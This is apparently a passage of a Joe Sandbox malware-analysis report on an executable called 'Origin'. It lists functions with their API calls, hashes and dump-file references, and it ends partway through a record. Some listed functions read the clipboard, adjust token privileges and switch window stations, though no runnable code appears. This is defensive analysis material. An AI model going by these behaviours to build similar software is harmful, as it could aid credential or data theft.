Opcode ID: dd033a4b5f62ccebfd9eaf5dbbb8866036393a442bcaa3bfcd9f8478fa996b83
Instruction ID: c5a6914e7724da62f57e11b52895a9f91b52af6eb60b11119f9a3b96f273a0e3
Opcode Fuzzy Hash: dd033a4b5f62ccebfd9eaf5dbbb8866036393a442bcaa3bfcd9f8478fa996b83
Instruction Fuzzy Hash: 3201DB732117056ED7245F29DC02A77B7D4DB44790F108979F62ACB1D1DB71E4448750

Function 00C37AEC Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00BF0F16: std::exception::exception.LIBCMT ref: 00BF0F4C
Part of subcall function 00BF0F16: __CxxThrowException@8.LIBCMT ref: 00BF0F61

_memset.LIBCMT ref: 00C37B21

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: e42b1121e6369a617172214c458a3cdaa519a43f438b417090ec007e3c826baf
Instruction ID: e81f388d83a02f6a0ab53936414fb6e85fc3a49c61648b0b1774b8df03bc067e
Opcode Fuzzy Hash: e42b1121e6369a617172214c458a3cdaa519a43f438b417090ec007e3c826baf
Instruction Fuzzy Hash: 190119742142049FD325EF5CD441F12BBF1AF59310F24C49AF6888B3A2DB72E8008F90

Function 00BE4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00BE4AA4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: 0a4098fbca966de150df0e901f011b960a22b5df12848eeca8f12985b6aae40b
Instruction ID: 58b97c3c63223da579a42efc126d85adc2d1eadda40aae70b9e9d50dca05e143
Opcode Fuzzy Hash: 0a4098fbca966de150df0e901f011b960a22b5df12848eeca8f12985b6aae40b
Instruction Fuzzy Hash: 63F085B6400208BFCF148F85EC40CEBBBB9EB85320F1040A8FA045A211D372EA25DBA0

Function 00BE4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00BE27AF,?,00000001), ref: 00BE4A63

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 168221f427002cfd82398f6d13058c6446c53118a8456d4a15765baee94b9aa2
Instruction ID: 2bd7c122cb509ba5f741c2bc442968371401429c09bf7a548663862c8f6a928b
Opcode Fuzzy Hash: 168221f427002cfd82398f6d13058c6446c53118a8456d4a15765baee94b9aa2
Instruction Fuzzy Hash: 43F01571145751CFCB349F66E89082ABBF4EF14326320A9BEE6D683610C7719884DF44

Function 00BE4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00BE4AD0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: c46de0973e4316ba83ebc5d8e55475f12f35eb36bfefe38a98de0559b640b685
Instruction ID: ca35105b008fa91992e2fca5029e9817b726cfaeeb75a622d02216f7b7e02a2b
Opcode Fuzzy Hash: c46de0973e4316ba83ebc5d8e55475f12f35eb36bfefe38a98de0559b640b685
Instruction Fuzzy Hash: B2F0F87250020DFFDF05DF90C941EAABBB9FB14314F208599F9148B251D336DA61AB91

Function 00BF08F0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00BF090F

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: b4ab3647f5821b11b153755598b221537cd0115f93eca04966fa0cc1e1994819
Instruction ID: 836840a31720ffdffd446837e75403cb9e99b5cd52d358fd23e914fdd140ab1c
Opcode Fuzzy Hash: b4ab3647f5821b11b153755598b221537cd0115f93eca04966fa0cc1e1994819
Instruction Fuzzy Hash: 21E08632A001285BC721D6999C05FEEB7DDDB88791F1401B6FD09D7354DA605C818691

Function 00C34B85 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00C34B9E

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: f527950baf8348831c34600d21909504bb32891ae56ef13939b7d9d090365ac2
Instruction ID: 517c71545962d719ab29338e6cd9d067f209768fe39b69da73309d51991af691
Opcode Fuzzy Hash: f527950baf8348831c34600d21909504bb32891ae56ef13939b7d9d090365ac2
Instruction Fuzzy Hash: BBD05EB190032C2BDB70E6A99C0DEBB7BACD744220F000AE1BC5CD3101EE749D4586E0

Function 00C337BA Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C336B9: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00C337C6,00000000,00000000,?,00C2055B,00C86590,00000002,?,?), ref: 00C33737

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,00C2055B,00C86590,00000002,?,?,?,00000000), ref: 00C337D4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: e69380a12260aeb6190e6e2ecc512e3e52edd7df676599a265659853650da83e
Instruction ID: 19cf6dcc813d8dcd1cb1c12e7748b5dc38329e30c6a9eaa35a642309af74caaa
Opcode Fuzzy Hash: e69380a12260aeb6190e6e2ecc512e3e52edd7df676599a265659853650da83e
Instruction Fuzzy Hash: CEE0B636410218BFDB20AF95D805B9AB7FDEB05320F104A5AFD4096151DBB2AE24ABE5

Function 00C33D64 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00C33CEA,?,?,?), ref: 00C33D7A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 8cd1ece7a5618aa3b42bb8797663fa93696acea93f8ab04465af6f8abf71ce43
Instruction ID: 730cad3fc67d5f04fa23595e2200f886f00ecdab366910b66fcefd61da5e148a
Opcode Fuzzy Hash: 8cd1ece7a5618aa3b42bb8797663fa93696acea93f8ab04465af6f8abf71ce43
Instruction Fuzzy Hash: 19D0A7315E020CBBEF60DFA0CC06F69B7ACEB01706F2002E4F604E90E0DAB269149795

Function 00BE42AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00C20666,00000000,00000000,00000000), ref: 00BE42BF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a8cf55f8e09858c82eb0d3fe097fdac145a774e96406a48cf49b5a080301bbd6
Instruction ID: 0ccd220b4348d28bb45fdbbe3977ae6b2d57b07c8265687bec60d627a828282e
Opcode Fuzzy Hash: a8cf55f8e09858c82eb0d3fe097fdac145a774e96406a48cf49b5a080301bbd6
Instruction Fuzzy Hash: 50D0C97464020CBFEB10CB81DC46FAEBBBCEB05710F200294FE04A6290E6F27E508B95

Function 00C34E59 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00C33A6B), ref: 00C34E5A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 010df5da13c0d64bf16a87b1febbc5b3e1c64e7b5a3b7fd970a1f147b8a892f6
Instruction ID: e8906dc8155650f9a6054095b5336bab61804a4251029a2bf2ecb6d15a8dbbb4
Opcode Fuzzy Hash: 010df5da13c0d64bf16a87b1febbc5b3e1c64e7b5a3b7fd970a1f147b8a892f6
Instruction Fuzzy Hash: 62B09224020610469D6C0A79590829E73406A837A9FE81B80D874958E2827DAD4BA610

Function 00BF53AB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00BF53B6

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 481c989826762bb5c063d122f85f5f9eb069b7b0b512ba6af17f4f44622cdc68
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: A0B0927644020C77CE112A86EC02A593F999B406A8F408060FB0C19162A6B3A6649689

Function 00C3D52B Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00C3D6AF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 88cfbe05bf3a237b16342b5b2b857f642d55e4430039ba50857b374b7aeacb8e
Instruction ID: 9cee5575dd48da7c433360c858021239f4fc31d58c3c5b1845d234520969d1be
Opcode Fuzzy Hash: 88cfbe05bf3a237b16342b5b2b857f642d55e4430039ba50857b374b7aeacb8e
Instruction Fuzzy Hash: DF7191302143428FC714EF29D491A6EB7E1EF89314F14496DF5A68B3A2DB30EE49CB52

Function 00C3C0DD Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00C33E72: FindFirstFileW.KERNEL32(?,?), ref: 00C33EE9
Part of subcall function 00C33E72: DeleteFileW.KERNEL32(?,?,?,?), ref: 00C33F39
Part of subcall function 00C33E72: FindNextFileW.KERNEL32(00000000,00000010), ref: 00C33F4A
Part of subcall function 00C33E72: FindClose.KERNEL32(00000000), ref: 00C33F61

GetLastError.KERNEL32 ref: 00C3C0FF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 6069332c15cf9682c325540633ca62067977ee805d7979dfb0471ae9ad06835d
Instruction ID: 207b674aaf5a727ea07fede00023f792f9f7c3969976b8b6d4fb0a6867362771
Opcode Fuzzy Hash: 6069332c15cf9682c325540633ca62067977ee805d7979dfb0471ae9ad06835d
Instruction Fuzzy Hash: 10F0A0362106148FCB14EF59D854F6EB7E5EF88320F1484AAF90A9B352CB74BD01CB90

Function 00BE42CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00C12EBB), ref: 00BE42EF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a13cecdf7caf6742772528f9127c7f9f7a60f0fed9a0069b898090b687847369
Instruction ID: 296f28168ddd6a2759c9875bc94d063a5431325e3904abc30fb1dd819c245d97
Opcode Fuzzy Hash: a13cecdf7caf6742772528f9127c7f9f7a60f0fed9a0069b898090b687847369
Instruction Fuzzy Hash: 1AE09275410B41CFC3324F1BE804426FBE4FFE13613214A6EE1E692660D3B0589A8B50

Non-executed Functions

Function 00C5CEDF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00C5CF5A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00C5CFB8
GetWindowLongW.USER32(?,000000F0), ref: 00C5CFF9
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00C5D023
SendMessageW.USER32 ref: 00C5D04C
_wcsncpy.LIBCMT ref: 00C5D0B8
GetKeyState.USER32(00000011), ref: 00C5D0D9
GetKeyState.USER32(00000009), ref: 00C5D0E6
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00C5D0FC
GetKeyState.USER32(00000010), ref: 00C5D106
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00C5D12F
SendMessageW.USER32 ref: 00C5D156
SendMessageW.USER32(?,00001030,?,00C5B735), ref: 00C5D25A
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00C5D270
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00C5D283
SetCapture.USER32(?), ref: 00C5D28C
ClientToScreen.USER32(?,?), ref: 00C5D2F1
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00C5D2FE
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00C5D318
ReleaseCapture.USER32 ref: 00C5D323
GetCursorPos.USER32(?), ref: 00C5D35D
ScreenToClient.USER32(?,?), ref: 00C5D36A
SendMessageW.USER32(?,00001012,00000000,?), ref: 00C5D3C6
SendMessageW.USER32 ref: 00C5D3F4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00C5D431
SendMessageW.USER32 ref: 00C5D460
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00C5D481
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00C5D490
GetCursorPos.USER32(?), ref: 00C5D4B0
ScreenToClient.USER32(?,?), ref: 00C5D4BD
GetParent.USER32(?), ref: 00C5D4DD
SendMessageW.USER32(?,00001012,00000000,?), ref: 00C5D546
SendMessageW.USER32 ref: 00C5D577
ClientToScreen.USER32(?,?), ref: 00C5D5D5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00C5D605
SendMessageW.USER32(?,00001111,00000000,?), ref: 00C5D62F
SendMessageW.USER32 ref: 00C5D652
ClientToScreen.USER32(?,?), ref: 00C5D6A4
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00C5D6D8

Part of subcall function 00BD29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BD29BC

GetWindowLongW.USER32(?,000000F0), ref: 00C5D774

Strings

F, xrefs: 00C5D658
@GUI_DRAGID, xrefs: 00C5D2BF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: d326981a6e3e9ff309c5807f23e45b1f19941bbfd9fe18cca924ef6f77a8dee8
Instruction ID: a0af94b33362cd7b36515b030806234f7fa0665fc786dcfb13da0fc9afe70f16
Opcode Fuzzy Hash: d326981a6e3e9ff309c5807f23e45b1f19941bbfd9fe18cca924ef6f77a8dee8
Instruction Fuzzy Hash: 3642C2381043409FDB20CF64C888F6ABBE5FF48351F144A19FA6A972E1D771E998CB95

Function 00C28D11 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00C2917C: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00C291C6
Part of subcall function 00C2917C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00C291F3
Part of subcall function 00C2917C: GetLastError.KERNEL32 ref: 00C29200

_memset.LIBCMT ref: 00C28D54
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00C28DA6
CloseHandle.KERNEL32(?), ref: 00C28DB7
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00C28DCE
GetProcessWindowStation.USER32 ref: 00C28DE7
SetProcessWindowStation.USER32(00000000), ref: 00C28DF1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00C28E0B

Part of subcall function 00C28BCC: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00C28D0A), ref: 00C28BE1
Part of subcall function 00C28BCC: CloseHandle.KERNEL32(?,?,00C28D0A), ref: 00C28BF3

Strings

, xrefs: 00C28D63
winsta0, xrefs: 00C28DC9
default, xrefs: 00C28E06

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: e0d687106f6b6ad4444a0bdc7a77161f539f0996504f4fa1cece625f226c9ee2
Instruction ID: e112579267a2e2c68c0625d63a33ede099d6c0a03151141564e75373b246e6cb
Opcode Fuzzy Hash: e0d687106f6b6ad4444a0bdc7a77161f539f0996504f4fa1cece625f226c9ee2
Instruction Fuzzy Hash: E0818C71801219AFDF11DFA4ED45BEE7BB9EF04304F144159F921B26A1DBB18E58DB20

Function 00C44416 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00C60980), ref: 00C44440
IsClipboardFormatAvailable.USER32(0000000D), ref: 00C4444E
GetClipboardData.USER32(0000000D), ref: 00C44456
CloseClipboard.USER32 ref: 00C44462
GlobalLock.KERNEL32(00000000), ref: 00C4447E
CloseClipboard.USER32 ref: 00C44488
GlobalUnlock.KERNEL32(00000000), ref: 00C4449D
IsClipboardFormatAvailable.USER32(00000001), ref: 00C444AA
GetClipboardData.USER32(00000001), ref: 00C444B2
GlobalLock.KERNEL32(00000000), ref: 00C444BF
GlobalUnlock.KERNEL32(00000000), ref: 00C444F3
CloseClipboard.USER32 ref: 00C44603

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
